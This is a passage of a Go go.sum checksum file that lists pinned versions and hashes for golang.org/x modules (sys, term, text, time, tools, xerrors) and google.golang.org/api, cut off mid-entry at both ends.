v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191115151921-52ab43148777/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200831180312-196b9ba8737a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211116061358-0a5406a5449c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220405210540-1e041c57c461/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190425163242-31fd60d6bfdc/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190624222133-a101b041ded4/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20220411194840-2f41105eb62f/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= google.golang.org/api v0.44.0/go.mod h1:EBOGZqzyhtvMDoxwS97ctnh0zUmYY6CxqXsc1AvkYD8= google.golang.org/api v0.47.0/go.mod h1:Wbvgpq1HddcWVtzsVLyfLp8lDg6AA241LmgIL59tHXo= google.golang.org/api v0.48.0/go.mod h1:71Pr1vy+TAZRPkPs/xlCf5SsU8WjuAWv1Pfjbtukyy4= google.golang.org/api v0.50.0/go.mod h1:4bNT5pAuq5ji4SRZm+5QIkjny9JAyVD/3gaSihNefaw= google.golang.org/api v0.51.0/go.mod h1:t4HdrdoNgyN5cbEfm7Lum0lcLDLiise1F8qDKX00sOU= google.golang.org/api v0.54.0/go.mod h1:7C4bFFOvVDGXjfDTAsgGwDgAxRDeQ4X8NvUedIt6z3k= google.golang.org/api v0.55.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= google.golang.org/api v0.56.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= google.golang.org/api v0.57.0/go.mod h1:dVPlbZyBo2/OjBpmvNdpn2GRm6rPy75jyU7bmhdrMgI= google.golang.org/api v0.59.0/go.mod h1:sT2boj7M9YJxZzgeZqXogmhfmRWDtPzT31xkieUbuZU= google.golang.org/api v0.61.0/go.mod 